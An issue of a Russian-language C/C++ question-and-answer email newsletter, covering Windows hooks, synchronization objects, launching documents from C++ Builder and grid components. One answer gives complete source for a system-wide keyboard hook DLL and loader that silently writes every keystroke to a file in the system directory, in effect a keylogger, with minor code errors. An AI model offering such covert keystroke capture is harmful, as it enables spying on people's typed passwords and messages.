Отправляет email-рассылки с помощью сервиса Sendsay

Инвестиции: Вопрос-Ответ

  Все выпуски  

C/C++ Вопрос-Ответ Выпуск № 23


Информационный Канал Subscribe.Ru

C/C++ Вопрос-Ответ

Выпуск      : 23
Подписчиков : 1590
Cайт        : SoftMaker.com.ru
Архив       : C/C++ Вопрос-Ответ (архив)
В этом выпуске
От ведущего

Здравствуйте уважаемые подписчики !

Как всегда, рад приветствовть вас на страницах этой рассылки.
Напоминаю, что, как обычно, вы можете отправить свои пожелания (замечания, предложения, сообщения об ошибках) по поводу рассылки и сайта по этому адресу.
Если вы хотите создать и вести какой либо раздел в этой рассылке - также пишите мне.

И, как всегда, вы можете задать свои вопросы по программированию на сайте в форуме.
Или обсудить их в дискуссионном листе "Программирование. форум !!!".

Многим может быть также интересна рассылка: Visual С++ - расширенное программирование, где можно прочитать описания нестандартных приемов программирования с помощъю библиотеки MFC - 'трюков', 'хаков', недокументированных функций.

С уважением, Вахтуров Виктор.

Подписчикам

Чтобы заранее разрешить возможные недоразумения, прошу Вас помнить, что вопросы публикуются в рассылке только один раз. Поэтому, если Вам не ответили в этом выпуске, или ваш вопрос не был опубликован, пришлите его еще раз. Не стоит отвечать на вопрос, который был задан в предыдущем выпуске (за исключением случая, когда он снова опубликован в этом).

Для того, чтобы задать свой вопрос, пришлите письмо, кликнув по этой ссылке.
Для того, чтобы ответить на вопрос, надо кликнуть по ссылке "ответить", расположенной под текстом вопроса.

Небольшое примечание. Господа, если Вы хотите, чтобы Ваш e-mail был опубликован в рассылке, специально и явно укажите это в письме. Иначе e-mail адреса, указанные в теле Вашего письма в рассылке опубликованы не будут.

Вопросы

Для того, чтобы задать свой вопрос, кликните этой ссылке (вопрос будет опубликован в следующем номере).
Вы можете задавать любые вопросы, касающиеся программирования на языке C и C++. Это могут быть вопросы, касающиеся как конструкций языка, применения библиотек классов, шаблонов (таких как MFC или STL), использования компиляторов, так и самой философии программирования на C или C++. Здесь нет ограничений - спрашивайте и получайте ответы.

Вопрос № 90 ( formax )

Здравствуйте.
В своей программе, написанной в Builder 5.0 использовал диалог выбора
каталогов: SelectDirectory(dir, TSelectDirOpts(), SELDIRHELP).

Программа должна была запускаться с машины без Builder-библиотек.
Когда я попытался в меню Project->Options->Packages снять флажок
«Build whith runtime packages» для отключения использования пакетов
времени выполнения(цитата полность взята из этой рассылки), получил
вместо работающей программы сообщение:

[Linker Error] Unresolved external '__fastcall Filectrl::SelectDirectory(System::AnsiString&, System::Set<Filectrl::TSelectDirOpt, 0, 2>, int)' referenced from E:\PROJ\UNIT1.OBJ

Кто подскажет, кого ему надо?

Ответить на вопрос

Вопрос № 91 ( Aury )

Здравствуйте.
Недавно начал разбираться с объектами синхронизации Windows (критическая секция, мьютекс, семафоры). Но вот я немного не понимаю. Есть критическая секция и мьютекс. это почти одно и то же ? И в каких случаях их лучше использовать. В каких случаях мьютекс, в каких крит. секцию.

Буду очень благодарен за ответ.

Ответить на вопрос

Вопрос № 92 ( Basing )

Скажите пожалуйста, как можно из своей программы записать все действия пользователя с мышью? А потом желательно еще научиться их воспроизводить?

Но хотя бы просто как например в файл записывать все координаты где побывала мышь за некоторое время так, чтобы при этом на экране не было окна записывающей программы?

Ответить на вопрос

Ответы

Ниже приведены вопросы предыдущего выпуска и ответы на них.

Вопрос № 87 ( made )

Здравствуйте, помогите пожалуйста с использованием API функции
SetWindowsHook, из описания на английском я понял, что в нее следует
передать четыре параметра, с первыми двумя все понятно, непонятно с
остальными. И еще какие значения она возвращает и возвращает ли вообще. Мне
конкретно нужна системная ловушка для отслеживания нажатия клавиш
клавиатуры - где ловить коды нажатых клавиш. Заранее благодарен!

Ответ ( Шматко А.А. )

Охотно.
Во-первых, ты имел в виду не SetWindowsHook(), а SetWindowsHookEx(), ибо
первая имеет только два параметра, и слабоработоспособна в Win32.
Во-вторых, если ты hookаешь только собственное приложение, то третий
параметр тебе не интересен. Просто передай NULL. При этом второй параметр
может указывать на функцию в самом .exe
Если тебя инстересуют и другие приложения, то второй параметр должен
указывать на функцию в .dll, и в этом случае третий параметр должен быть
экземпляром этой самой .dll, загруженной в адресное пространство своего
процесса. Ты можешь получить это значение с помощью LoadLibrary() или
GetModuleHandle(). Не обращай внимание, что эти функции возвращают HMODULE,
а SetWindowsHook() требует HINSTANCE - в Win32 это суть одно и то же всегда,
когда речь идёт об одном конкретном процессе. Причина размещения
hook-функции в dll заключается в том, что каждое приложение работает в
собственном адресном пространстве - впрочем, об этом ты конечно же знаешь
;-) - а Wind-а умеет помещать в другие адресные простанства только dll, но
никак не .exe. Обрабатывать перехваченные события ты, надеюсь, намереваешься
в своём приложении, не в чужих же.
Четвёртый параметр указывает конкретную нить, для которой выполняется
слежение. Неважно, принадлежит эта нить другому процессу или твоему
собственному - IDs всех нитей уникальны, по крайней мере, пока они не
завершаюся. Чтобы осуществлять слежение за всеми нитями в системе, нужно
передать 0. Если интересуют несколько нитей, но при этом не все, можно
вызвать SetWindowsHookEx() неоднократно, по разу для каждого ID, или
поставить hook на все нити и
фильтровать ненужные. Первый вариант предпочтительней из соображений
производительности, хотя и не факт, могут быть исключения. Если у тебя нет
IDs
нужных тебе нитей, можно попытаться воспользоваться ToolHelp32, но похоже
тебе это
лишне, ибо в вопросе ты упоминаешь об отслеживании всех нитей.
В-третьих, эта функция возвращает hook-handle, который нужно запомнить и
использовать при обязательном вызвове UnhookWindowsHookEx() для снятия
hook-а, по крайней мере при завершении приложения. Ну, если ошибка
(например, третий параметр - NULL, а четвёртый указывает на нить в другом
процессе), то NULL.
В четвёртых, не забывай вызывать CallNextHookEx() в своём hook-e, иначе
другие hook-процедуры не получат нотификации! Юзеры оччччень раздражаются,
когда перестают работать их горячие кнопки на приложения.
Ну и напоследок, для отслеживания нажатых клавиш лучше всего подойдёт
WH_GETMESSAGE или WH_CALLWNDPROC. Посмотри, что тебе выгоднее. Интересующие
сообщения - WM_CHAR, WM_SYSCHAR, а возможно, что и WM_KEYDOWN, WM_KEYUP итп.

Ответ ( Козырева О.В. )

Ф-ция SetWindowsHook заменена на SetWindowsHookEx.

В новой функции последние два параметра – это instance дескриптор (handle) и ID потока (нити). Их можно получить, используя вызовы AfxGetInstanceHandle(), GetCurrentThreadId().

Ф-ция возвращает HHOOK (т.е. дескриптор этого перехватчика), который затем подставляется при вызове CallNextHookEx(HHOOK, …).

Ответ ( Yurchik )

Здесь лежит хорошая статья по ловушкам в Windows:
http://www.delphimaster.ru/articles/hooks/index.html
Очччень рекомендую почитать всем, кого интересует данный вопрос.
Также есть пример программы для отслеживания нажатия клавиш
клавиатуры. Единственное что, эти примеры для Дельфи. Но их несложно
перевести на С++. Если будут какие-то вопросы, пишите мне на мыло
yurchik@hotbox.ru

Ответ ( Аркадий Лютиков )

Надеюсь, что из этой проги будет все понятно:

Как поставить system-wide хук(например писать в файл все нажатия кнопок)?

Для этого хук должен жить в длл.
текст DLL:

BOOL kdown=false;
HANDLE ghDLLInst = 0; // Handle to the DLL's instance.
char logname[MAX_PATH];
char sysdir[MAX_PATH];
DWORD NOfBytes;
BOOL shift=false;
HANDLE LFile;
char buffer[20];
BOOL WINAPI DllMain (HANDLE hModule, DWORD dwFunction,
                     LPVOID lpNot)
{
       ghDLLInst = hModule;
       switch (dwFunction)
       {
           case DLL_PROCESS_ATTACH:
      {
      GetSystemDirectory(
         sysdir,
      MAX_PATH
      );
      strcpy(logname,sysdir);
      strcat(logname,\\kbdkeys.txt);
      }
           case DLL_PROCESS_DETACH:
      {
      }
           default:
               break;
       }
       return TRUE;
}
//------------------------------------------------
    LRESULT CALLBACK KeyboardProc(
        int code, // hook code
        WPARAM wParam, // virtual-key code
        LPARAM lParam // keystroke-message information
      )
{
BYTE aa[4];
memcpy(aa,&lParam,4);
kdown=!(aa[3]&&64);
BYTE scancode=aa[2];
BYTE ww[4];
memcpy(ww,&wParam,4);
if (code<0)return CallNextHookEx(NULL,code,wParam,lParam);
if(kdown&&(wParam==VK_SHIFT))shift=true;
if(!kdown&&(wParam==VK_SHIFT))shift=false;
if (kdown&&(wParam!=VK_SHIFT))
{
sprintf( buffer ,"%c",wParam );
if(isalpha(ww[0])&(!shift))wParam=wParam+32;
sprintf( buffer ,"%c",wParam );
if(wParam==VK_RETURN)strcpy(buffer,"\n");
      LFile=CreateFile(logname, GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_WRITE |
FILE_SHARE_READ |
FILE_SHARE_DELETE,NULL,OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,NULL);
     OVERLAPPED ovlp;
     DWORD ffsze=GetFileSize(LFile,NULL);
     ovlp.OffsetHigh=0;
     ovlp.hEvent=NULL;
      ovlp.Offset=ffsze;
     WriteFile(LFile,buffer,strlen(buffer),&NOfBytes,&ovlp);
     CloseHandle(LFile);
}
    return CallNextHookEx(NULL,code,wParam,lParam);
}
//-------------------------------------------------//


текст приложения:

#include 
#include 
#include 
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR lpCmdLine, int nCmdShow);
//-------------------------------------------------//
BOOL
SetHook(
       BOOL fSet
       )
{
       static HHOOK hhkKbdHook = NULL;
       static HANDLE hmodHook;
       if (fSet)
       {
           if (!hmodHook)
           {
               if (!(hmodHook = LoadLibrary("kbdh.dll")))
         //вышеприведенная длл
               {
                   return FALSE;
               }
           }
           if (!hhkKbdHook)
           {
            if (!(hhkKbdHook =
     SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)
     GetProcAddress((HINSTANCE)hmodHook,"KeyboardProc"),
(HINSTANCE)hmodHook,0)))
               {
                   return FALSE;
               }
           }
    }
       else
       {
           if (hhkKbdHook)
           {
               UnhookWindowsHookEx(hhkKbdHook);
               hhkKbdHook = NULL;
           }
       }
       return TRUE;
}
//-------------------------------------------------//
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR lpCmdLine, int nCmdShow)
{
       if(!SetHook(true))MessageBox(NULL,"zad","zad",MB_OK);
       MSG msg;
     while (GetMessage (&msg, NULL, 0, 0))
     {
           TranslateMessage (&msg);
           DispatchMessage (&msg);
     }
    return( 0 );
}
Вопрос № 88 ( Валера )

Привет!
Подскажите, как написать код на C++ Builder.
Чтобы программа могла запускать любой документ, например,
doc, htm, xls, и пр.
А также можно было контролировать закрыт документ или нет?
И можно закрывать документ самостоятельно из этой проги.
Заранее благодарен.

Ответ ( 3V )

Если я правильно понял задачу, то надо использовать API функцию CreateProcess для запуска программ, сохранять дескрипторы полученных процессов и ждать их завершения через WaitForSingleObject (или периодически выполнять GetExitCodeProcess для определения состояния процесса).

Закрывать документ самостоятельно... А как Вы себе это представляете ?
Понятие "документ" для каждого приложения - сугубо личное.

Если надо работать с документами только вполне определенного типа вполне определенными приложениями (то есть стоит условие, напрмер, открывать doc-и вордом, обрабатывать, потом - закрывать), то это - через автоматизацию (читать книжки про OLE, COM, и.т.д., читать справку про работу с соответствующими приложениями средствами OLE). Можно поискать в MSDN по сочетанию "word automation", например. Информации там куча.
Вопрос № 89 ( Валера )

Есть ли какие-нибудь компоненты под С++ Builder, которые работали с
таблицами как в Excel. Или просто могли представлять данные ввиде
таблиц, т.е. задача такая - каждая запись это таблица.
Спасибо.

Ответ ( 3V )

Имхо, там полно всяких Grid-ов.
Если ничто не устраивает - в самой винде есть обычно несколько Active-X компонентов для редактирования таблиц. При желании можно ставить себе в программу тот же Excel (в визуальных средах это делается обычно в пару кликов мыши).
Книги по C/C++
Самоучитель C++ Builder (+ CD-ROM)
Самоучитель C++ Builder (+ CD-ROM)

Автор: Никита Культин

Книга является руководством по программированию в среде Borland C++ Builder.

В ней рассматривается весь процесс разработки программы - от компоновки диалогового окна и написания функций обработки событий до отладки и создания справочной системы при помощи программы Microsoft HTML Help Workshop и установочного CD-ROM в InstallShield Express, разбираются вопросы работы с графикой, мультимедиа и базами данных, приведено описание процесса создания анимации в Macromedia Flash 5.

Прилагаемый к книге компакт-диск содержит проекты, приведенные в издании в качестве примеров.

Страница книги на Озоне
Язык программирования С++. Специальное издание
Язык программирования С++. Специальное издание

Автор: Бьерн Страуструп

Книга написана Бьерном Страуструпом - автором языка программирования C++ - и является каноническим изложением возможностей этого языка. Помимо подробного описания собственно языка, на страницах книги вы найдете доказавшие свою эффективность подходы к решению разнообразных задач проектирования и программирования. Многочисленные примеры демонстрируют как хороший стиль программирования на С-совместимом ядре C++, так и современный объектно-ориентированный подход к созданию программных продуктов.

Третье издание бестселлера было существенно переработано автором. Результатом этой переработки стала большая доступность книги для новичков. В то же время, текст обогатился сведениями и методиками программирования, которые могут оказаться полезными даже для многоопытных специалистов по C++.

Не обойдены вниманием и нововведения языка: стандартная библиотека шаблонов (STL), пространства имен (namespaces), механизм идентификации типов во время выполнения (RTTI), явные приведения типов (cast-операторы) и другие. Настоящее специальное издание отличается от третьего добавлением двух новых приложений (посвященных локализации и безопасной обработке исключений средствами стандартной библиотеки), довольно многочисленными уточнениями в остальном тексте, а также исправлением множества опечаток.

Книга адресована программистам, использующим в своей повседневной работе C++. Она также будет полезна преподавателям, студентам и всем, кто хочет ознакомиться с описанием языка "из первых рук".

Страница книги на Озоне
Всего доброго. До встречи в следующем номере.

http://subscribe.ru/
http://subscribe.ru/feedback/
Подписан адрес:
Код этой рассылки: comp.soft.prog.cppqa
Отписаться

В избранное